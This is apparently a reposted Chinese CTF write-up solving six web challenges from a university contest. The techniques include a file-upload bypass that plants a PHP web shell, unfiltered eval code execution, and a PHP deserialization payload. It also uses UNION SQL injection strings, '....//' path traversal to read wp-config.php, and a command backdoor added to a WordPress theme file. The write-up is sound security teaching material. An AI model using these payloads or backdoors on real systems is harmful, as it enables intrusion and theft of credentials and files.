商丘师范学院第五届网络安全及信息对抗大赛 Web Writeup
1. 传马(Web,困难,90pts)页面只有一句提示:「好奇怪,为什么这个按钮点不动呢」。打开容器看到的是图片上传站,前端按钮带 disabled 属性。assets/check.js 里已经把底牌 2026-11-9 01:42:55 Author: xz.aliyun.com(查看原文) 阅读量:0 收藏


1. 传马(Web,困难,90pts)

页面只有一句提示:「好奇怪,为什么这个按钮点不动呢」。打开容器看到的是图片上传站,前端按钮带 disabled 属性。

assets/check.js 里已经把底牌写出来了:

/*
 * 前端校验(全部可被绕过,仅提升"用户体验")
 * 注意:提交按钮在 HTML 里带了 disabled 属性,正常情况下点不动。
 * 真正的突破口是用 Burp 抓包改 filename / Content-Type。
 */

按钮点不动不影响直接发包。打开浏览器 DevTools,直接删掉 disabled 属性,然后在 DevTools Network 面板里抓到上传请求的 multipart/form-data,把 filename 和 Content-Type 参数改一下:

  • 把 filename 从 sh.gif 改成 sh.php

  • 把 Content-Type 从 image/gif 改成 image/jpeg

然后在浏览器里再点一次「上传」按钮,文件就直接上传了,返回 上传成功:uploads/sh.php,访问后就能执行 system($_GET[c])。

flag 放在容器环境变量里,不用翻文件:打开 /uploads/sh.php?c=env,页面里可以看到 FLAG=flag{5cd65fdf-71de-4476-b936-7e21363eae31}。

这题是逐实例下发 flag 的。我先后开过两个容器:第一个读到 flag{316d7667-18e5-4af6-835c-32fc837f6e17};后面提交时已经换了实例,这个值被拒,重开容器重新打了一遍,读到 flag{5cd65fdf-71de-4476-b936-7e21363eae31},提交通过。

提交的 flag:flag{5cd65fdf-71de-4476-b936-7e21363eae31}


2. 我flag呢?(Web + 信息收集,中等,40pts)

首页源码里有一行注释:

<!-- 嗯…flag 好像不在这个页面。去 fllllllag.php 看看吧,记得带上 flag 参数 -->

fllllllag.php 是个把 GET 参数回显到 input value 的页面:

<input type="text" name="flag" value="test">

先把参数当成开关而不是内容。浏览器直接访问 /fllllllag.php?flag=flag,响应里多了一行:

<p>flag 是: flag{Oh!You_got_it!}</p>

提交的 flag:flag{Oh!You_got_it!}


3. ez_php(Web,中等,90pts)

首页直接把源码亮出来了:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

eval 前面没有任何过滤。直接在浏览器地址栏里访问 /?url=echo file_get_contents('/flag') 没有输出,因为 error_reporting(0) 加上页面先输出了源码,普通输出容易被忽略;用输出缓冲包一层就能拿到:

/?url=ob_start();echo file_get_contents('/flag');echo ob_get_clean();

浏览器直接显示:flag{Welcome-to-ctf-world!!!}

提交的 flag:flag{Welcome-to-ctf-world!!!}


4. 明天见(Web + MISC,困难,80pts)

提示只有一句:「单词之间用下划线连接」。首页标题是「记忆的碎片」,表单参数名 xilian,页面挂着一个 22 秒的视频,画面上反复出现 Honkai:Starrail、Cyrene Trailer OST、High Quality non-Vocal Version(Flac)。

视频里没有藏二维码,也没有字幕。结合题名「明天见」和提示的下划线格式,直接试了英文直译:

see_you_tomorrow

POST 后返回 302,Location: love.php,说明第一层口令对了。

love.php 页面标题是「众人将与一人离别」,挂第二个视频,源码里留了一行:

<!-- 下一关: cyrene.php -->

cyrene.php 是 PHP 反序列化:

class Secret {
    public $key;
    public function __construct($key) { $this->key = $key; }
    public function __destruct() {
        if ($this->key === "I_love_Cyrene") {
            include "./flag.php";
            echo "flag : ".$flag;
        } else {
            echo "Try harder!";
        }
    }
}
if (isset($_POST['mimi'])) {
    $data = $_POST['mimi'];
    $obj = unserialize($data);
} else {
    highlight_file(__FILE__);
}

构造 Secret 对象,key 用严格相等的目标值:

O:6:"Secret":1:{s:3:"key";s:13:"I_love_Cyrene";}

用 Burp/浏览器 DevTools 把这个序列化字符串放进 mimi 参数 POST 到 cyrene.php:

POST /cyrene.php
Content-Type: application/x-www-form-urlencoded

mimi=O:6:"Secret":1:{s:3:"key";s:13:"I_love_Cyrene";}

返回 flag : flag{fff4c21d-8f6a-406d-8e80-1d6b4d047131}}。页面回显尾部多了一个 },按单括号的常规格式提交平台,通过。

提交的 flag:flag{fff4c21d-8f6a-406d-8e80-1d6b4d047131}


5. 四湖的秘密(Web,极难,90pts)

首页把玩法写在页面上:先保存订阅条件,再预览;四段残片按春、夏、秋、冬拼成 flag。表名规则也给了:lake_湖名拼音,内容在 note 列。

交互是两层:

  1. POST save.php,带首页的 csrf 和 topic;

  2. GET preview.php,后台用存下来的 topic 拼 SQL 查询。

保存需要会话里的 csrf,所以先取一次首页,再带着同一个 cookie 操作:

BASE="<实例地址>"
CK=cookie.txt
# 取首页,记下 csrf
GET /
# 读取 csrf 字段的 value

写个小函数,保存后立刻预览:

t() {
  POST /save.php  csrf=$CSRF  topic=$1
  GET  /preview.php
}

四关的 payload 和返回:

关卡

payload

返回的残片

春明湖

' UNION SELECT note FROM lake_chunming--

flag{d5db0e

夏梦湖

' UNION SELECT note FROM lake_xiameng--

12-44cd-45a

秋韵湖

' UNION SELECT hex(note) FROM lake_qiuyun--

0-892d-01d(hex 302D383932642D303164)

冬泰湖

' UNION SELECT note FROM lake_dongtai--

8fe66c88f}

第三关按要求用 hex(),preview.php 会同时回显编码值和还原后的残片。第四关的提示是用 lake_key 筛唯一记录,实际直接 SELECT note 也把残片带出来了。

四段按顺序拼接:

flag{d5db0e + 12-44cd-45a + 0-892d-01d + 8fe66c88f}
= flag{d5db0e12-44cd-45a0-892d-01d8fe66c88f}

提交的 flag:flag{d5db0e12-44cd-45a0-892d-01d8fe66c88f}


6. 杨方的博客(Web,极难,100pts)

WordPress 6.8.2,主题 nogame。两条提示:先从站点读出后台管理员账号密码,再登录后台拿 flag;flag 在服务器的 /opt/backup/flag。

6.1 目录和线索

/wp-content/uploads/ 开了目录索引:

/wp-content/uploads/2026/10/notes.txt   114 字节

内容:

03:04 write access ok
03:12 dropped cache into site
03:17 cleaning up
03:24 /flag moved outside webroot
03:36 out

/wp-json/wp/v2/users 泄露管理员用户名 yangfang。

/about/ 页面里有一张头像,地址是:

/wp-content/themes/nogame/avatar.php?f=profile.jpg

这就是「可疑内容」。

6.2 avatar.php 的路径穿越

avatar.php 把参数拼到固定目录后读取文件。先让它报错看拼接路径:访问 /wp-content/themes/nogame/avatar.php?f=profile.jpg/.,报错里给出基目录:

is_file(): open_basedir restriction in effect. File(/var/www/html/wp-content/themes/nogame/assets/profile.jpg/.) ...

所以实际路径是 assets/ + f。代码会做一次 ../ 过滤,用 ....// 绕过。确认穿越成立:访问 /wp-content/themes/nogame/avatar.php?f=....//style.css,返回了主题样式。

assets/ 往上四层就是站点根目录,再请求 f=....//....//....//....//wp-config.php,把 wp-config.php 的源码读了出来。注释里直接写着后台口令:

/* ---- 备忘 ----
 * 后台管理员:yangfang / YangFang!Blog@2026#kR7mQ2x
 */

6.3 登后台拿 flag

用这组账号登录 /wp-login.php,进入 wp-admin。PHP 的 open_basedir 限制在 /var/www/html,file_get_contents('/opt/backup/flag') 读不到,改用 system() 走 shell。

后台 → 外观 → 主题文件编辑器,编辑 nogame/functions.php,末尾追加:

if (isset($_GET['cmd'])) {
    echo "OUT:";
    system($_GET['cmd']);
    echo ":END";
    exit;
}

保存后访问 /?cmd=cat /opt/backup/flag 2>&1,页面输出:

OUT:flag{7bce6479-e5b4-4e9a-a1b6-10a22fd5a5a6}:END

提交的 flag:flag{7bce6479-e5b4-4e9a-a1b6-10a22fd5a5a6}


文章来源: https://xz.aliyun.com/news/93215
如有侵权请联系:admin#unsafe.sh